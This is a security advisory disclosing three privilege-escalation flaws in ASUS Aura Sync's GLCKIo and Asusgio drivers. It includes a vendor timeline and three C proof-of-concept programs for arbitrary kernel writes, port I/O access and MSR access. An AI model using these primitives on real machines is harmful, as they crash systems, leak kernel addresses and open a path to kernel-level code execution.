1. Advisory Information

Title: ASUS Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2017-0012
Advisory URL: http://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities
Date published: 2018-12-18
Date of last update: 2018-12-18
Vendors contacted: Asus
Release mode: User release

2. Vulnerability Information

Class: Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-18537, CVE-2018-18536, CVE-2018-18535

3. Vulnerability Description

ASUS offers several drivers and utilities [1] in order to give the user more control over certain settings and functions of the motherboard. In particular, ASUS Aura Sync takes RGB lighting beyond the checkbox, combining and controlling the LEDs of all your Aura-enabled products from a single application to achieve perfect, synchronized harmony. From motherboards and RGB strips to graphics cards and beyond, Aura Sync enables a veritable symphony of light for ultimate personalization.

Multiple vulnerabilities were found in the GLCKIo and Asusgio drivers installed by ASUS Aura Sync, which could allow a local attacker to elevate privileges.

4. Vulnerable Packages

  • ASUS Aura Sync v1.07.22 and previous versions

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

The vendor did not provide fixes or workaround information.

6. Credits

These vulnerabilities were discovered and researched by Diego Juarez. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team.

7. Technical Description / Proof of Concept Code

Aura Sync is ASUS's command software for all their line of recent RGB lighting enabled devices (motherboards/graphics cards/keyboards/mice/etc).

The main subject of this advisory are two of the device drivers installed/loaded by the Aura Sync application. From now on addressed as "Asusgio" and "GLCKIo". Default installation allows non-privileged user processes (even running at LOW INTEGRITY) to get a HANDLE and issue IOCTL codes to these drivers.

The following sections describe the problems found.

7.1. Arbitrary ring0 write

[CVE-2018-18537] There is a path in the processing of IOCTL_GLCKIO_READPORT (0x80102050) on GLCKIo leading to write of arbitrary DWORD to an arbitrary address.

.text:FFFFF800B09F13FE loc_FFFFF800B09F13FE:
.text:FFFFF800B09F13FE                 mov     rax, [rsp+0C8h+var_38]   ; CONTROLLED VALUE
.text:FFFFF800B09F1406                 mov     ecx, [rsp+0C8h+var_56]   ; CONTROLLED VALUE
.text:FFFFF800B09F140A                 mov     [rax], ecx               ; Arbitrary DWORD sized write!
.text:FFFFF800B09F140C                 mov     rax, [rsp+0C8h+Irp]
.text:FFFFF800B09F1414                 mov     qword ptr [rax+38h], 4
.text:FFFFF800B09F141C                 jmp     short loc_FFFFF800B09F142D

Proof of Concept:

#include <windows.h>
HANDLE ghDriver = 0;

#define IOCTL_GLCKIO_VMWRITE 0x80102050

typedef struct _STRUCT_GLCKIO_VMWRITE {
	WORD unk0;
	DWORD unk1_1;
	WORD unk1_2;
	ULONG64 unk2;
	ULONG64 unk3;
	ULONG64 unk4;
	ULONG64 unk5;
	ULONG64 unk6;
} STRUCT_GLCKIO_VMWRITE;

BOOL ArbitraryWriteDWORD(ULONG64 dest, DWORD value)
{
	STRUCT_GLCKIO_VMWRITE mystructIn = { 0 };
	mystructIn.unk0 = 0xf11;
	mystructIn.unk1_1 = value;	// value
	mystructIn.unk5 = dest;		// address

	STRUCT_GLCKIO_VMWRITE mystructOut = { 0 };

	DWORD returned = 0;

	DeviceIoControl(ghDriver, IOCTL_GLCKIO_VMWRITE, (LPVOID)&mystructIn, sizeof(mystructIn), (LPVOID)&mystructOut, sizeof(mystructOut), &returned, NULL);
	return BOOL(returned);
}

BOOL InitDriver()
{
	ghDriver = CreateFile("\\\\.\\GLCKIo", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (ghDriver == INVALID_HANDLE_VALUE) {
		printf("Cannot get handle to GLCKIo driver - GetLastError:%d\n", GetLastError());
		return FALSE;
	}
	return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
	printf("ASUS Aura Sync PoC (arbitrary ring0 write)\n");

	if (!InitDriver()) {
		exit(0);
	}

	printf("press ENTER for instant BSOD\n");
	getchar();
	ArbitraryWriteDWORD(0, 0xffffffff);

	CloseHandle(ghDriver);
	return 0;
}        

7.2. Port mapped I/O access

[CVE-2018-18536] Both GLCKIo and Asusgio expose a functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.

// This harmless PoC only reboots the PC, much more sinister stuff 
// would also be possible by abusing this functionality.

// Compile for 32bit!!! Asusgio apparently has a bug preventing this functionality 
// to work unless IoIs32bitProcess == TRUE. They set rdx as a pointer instead of a port 
// number on the in/out instruction... and they ONLY do this incorrectly in the x64 
// process specific code. (!?)

#include "stdafx.h"
#include <windows.h>

// for \\.\glckio 
#define IOCTL_GLCKIO_WRITEPORT 0x80102054
#define IOCTL_GLCKIO_READPORT  0x80102050

// for \\.\Asusgio
#define IOCTL_ASIO_PORTREADB 0xA0406400
#define IOCTL_ASIO_PORTWRITEB 0xA040A440

HANDLE ghDriver = 0;

typedef BYTE(*fnPMIOReadB)(WORD port);
typedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value);

#pragma pack (push,1)

typedef struct  {
	DWORD DriverIndex;		// DriverEnum index
	BYTE DeviceName[MAX_PATH];
	fnPMIOReadB pPMIOReadB;
	fnPMIOWriteB pPMIOWriteB;
} AutoConfigStruct;

AutoConfigStruct gConfig = { 0 };

enum DriverEnum {
	ASIO = 1,
	GLCKIO,
};

typedef struct _ASIO_PORTIO_STRUCT {
	DWORD port;
	ULONG64 value;
} ASIO_PORTIO_STRUCT;

typedef struct _GLCKIO_PORTIO_STRUCT {
	WORD port;
	DWORD value;
	DWORD datalen;
} GLCKIO_PORTIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
	BYTE outbuffer[0x30] = { 0 };	\
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return outbuffer[0];	\

BYTE GLCKIO_PMIOReadB(WORD port)
{
	GLCKIO_PORTIO_STRUCT inbuffer = { port, 0, 1};
	IOCTLMACRO(IOCTL_GLCKIO_READPORT, 10)
}

BYTE GLCKIO_PMIOWriteB(WORD port, BYTE value)
{
	GLCKIO_PORTIO_STRUCT inbuffer = { port, value, 1 };
	IOCTLMACRO(IOCTL_GLCKIO_WRITEPORT, 10)
}

BYTE ASIO_PMIOReadB(WORD port)
{
	ASIO_PORTIO_STRUCT inbuffer = { port, 0 };
	IOCTLMACRO(IOCTL_ASIO_PORTREADB, 4)
}

BYTE ASIO_PMIOWriteB(WORD port, BYTE value)
{
	ASIO_PORTIO_STRUCT inbuffer = { port, value };
	IOCTLMACRO(IOCTL_ASIO_PORTWRITEB, 5)
}

void Reboot()
{
	BYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6;
	gConfig.pPMIOWriteB(0xcf9, cf9 | 2);
	Sleep(50);
	gConfig.pPMIOWriteB(0xcf9, cf9 | 0xe);
	Sleep(50);
}

BOOL InitDriver()
{
	char *szDeviceNames[] = { "\\\\.\\Asusgio" , "\\\\.\\GLCKIo" };
	BYTE i = 0;
	for (i = 0; i<2; i++) {
		ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

		if (ghDriver == INVALID_HANDLE_VALUE) {
			printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceNames[i], GetLastError());
			continue;
		}

		gConfig.DriverIndex = i+1;
		memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1);
		break;
	}

	switch (gConfig.DriverIndex) {
		case DriverEnum::ASIO:
			{
				gConfig.pPMIOReadB = (fnPMIOReadB)ASIO_PMIOReadB;
				gConfig.pPMIOWriteB = (fnPMIOWriteB)ASIO_PMIOWriteB;
			}
			break;

		case DriverEnum::GLCKIO:
			{
				gConfig.pPMIOReadB = (fnPMIOReadB)GLCKIO_PMIOReadB;
			}
				gConfig.pPMIOWriteB = (fnPMIOWriteB)GLCKIO_PMIOWriteB;
			break;

		default:
			break;
	}


	return gConfig.DriverIndex ? TRUE : FALSE;
}

int _tmain(int argc, _TCHAR* argv[])
{
	printf("ASUS Aura Sync PoC (PMIO access)\n");
	
	if (!InitDriver()) {
		printf("InitDriver failed! - aborting...\n");
		exit(0);
	}

	printf("DeviceName: \'%s\' Handle: %08x\n", gConfig.DeviceName, (DWORD)ghDriver);
	printf("press ENTER for hard reset...");
	getchar();
	Reboot();
	CloseHandle(ghDriver);
}         

7.3. MSR Register access

[CVE-2018-18535] Asusgio exposes a functionality to read and write Machine Specific Registers (MSRs). This could be leveraged to execute arbitrary ring-0 code.

Proof of Concept:

// This PoC demonstrates insecure access to MSRs by reading 
// IA32_LSTAR register value (leaks a kernel function pointer bypassing KASLR)
// and then writing garbage to it (instant BSOD!)

#include <windows.h>

// for \\.\Asusgio
#define IOCTL_ASIO_RDMSR 0xA0406458
#define IOCTL_ASIO_WRMSR 0xA040A45C

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASIO_MSRIO_STRUCT {
	DWORD reg;
	ULONG64 value;
} ASIO_MSRIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
	ULONG64 outbuffer[2] = { 0 };	\
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return outbuffer[0];	\

ULONG64 ASIO_RDMSR(DWORD reg)
{
	ASIO_MSRIO_STRUCT inbuffer = { reg };
	IOCTLMACRO(IOCTL_ASIO_RDMSR, 4)
}

ULONG64 ASIO_WRMSR(DWORD reg, ULONG64 value)
{
	ASIO_MSRIO_STRUCT inbuffer = { reg, value };
	IOCTLMACRO(IOCTL_ASIO_WRMSR, 12)
}

BOOL InitDriver()
{
		ghDriver = CreateFile("\\\\.\\Asusgio", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

		if (ghDriver == INVALID_HANDLE_VALUE) {
			printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", "\\\\.\\Asusgio", GetLastError());
			return FALSE;
		}

	return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
	printf("ASUS Aura Sync PoC (MSR access)\n");
	
	if (!InitDriver()) {
		printf("InitDriver failed! - aborting...\n");
		exit(0);
	}

	ULONG64 IA32_LSTAR = ASIO_RDMSR(0xC0000082);
	printf("IA32_LSTAR: %llx (should be nt!KiSystemCall64)\n", IA32_LSTAR);
	printf("press ENTER for instant BSOD\n");
	getchar();
	a = ASIO_WRMSR(0xC0000082, 0xffff1111ffff2222);
	CloseHandle(ghDriver);
}       

8. Report Timeline

  • 2017-11-27: SecureAuth sent an initial notification to ASUS, asking for GPG keys.
  • 2017-12-14: SecureAuth sent a second notification to ASUS.
  • 2018-01-29: SecureAuth sent a third notification to ASUS.
  • 2018-01-30: Asus acknowledged SecureAuth's e-mail and asked for a report with technical information.
  • 2018-01-31: SecureAuth sent Asus a draft version of the advisory.
  • 2018-02-07: SecureAuth requested an update from Asus regarding the reported vulnerabilities and a tentative schedule.
  • 2018-02-14: SecureAuth again requested an update from Asus regarding the reported vulnerabilities and a tentative schedule.
  • 2018-02-21: Asus acknowledged SecureAuth's draft report and asked for time for internal investigations.
  • 2018-02-21: Asus answered saying that they were planning to update Aura in April.
  • 2018-02-21: SecureAuth thanked Asus's feedback and requested a regular contact until the Aura´s update.
  • 2018-03-19: SecureAuth asked for a status update.
  • 2018-03-26: SecureAuth asked for a status update again.
  • 2018-03-26: Asus notified that the Aura Sync had been fixed.
  • 2018-03-26: SecureAuth asked Asus to confirm if this new version had been already released.
  • 2018-04-03: SecureAuth requested a status update.
  • 2018-04-16: SecureAuth requested a confirmation for Asus.
  • 2018-04-23: SecureAuth requested a confirmation for Asus again.
  • 2018-04-26: SecureAuth noticed that a new version of Aura Sync was available. However, this version didn't address the reported vulnerabilities. For that reason, SecureAuth requested a clarification about the case.
  • 2018-05-08: SecureAuth noticed that a new version of Aura Sync was available but this version only addresses one of the two vulnerable drivers. In this context, SecureAuth requested a new clarification.
  • 2018-07-03: SecureAuth requested a status update.
  • 2018-12-18: Advisory CORE-2017-0012 published as 'user release'.

9. References

[1] https://www.asus.com/support

10. About SecureAuth Labs

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at http://www.secureauth.com.

11. About SecureAuth

SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, identity governance, and penetration testing, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth's highly flexible Identity Security Automation (ISA) platform makes it easier for organizations to prevent the misuse of credentials and exponentially reduce the enterprise threat surface. To learn more, visit www.secureauth.com, call (949) 777-6959, or email us at info@secureauth.com

12. Disclaimer

The contents of this advisory are copyright (c) 2018 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/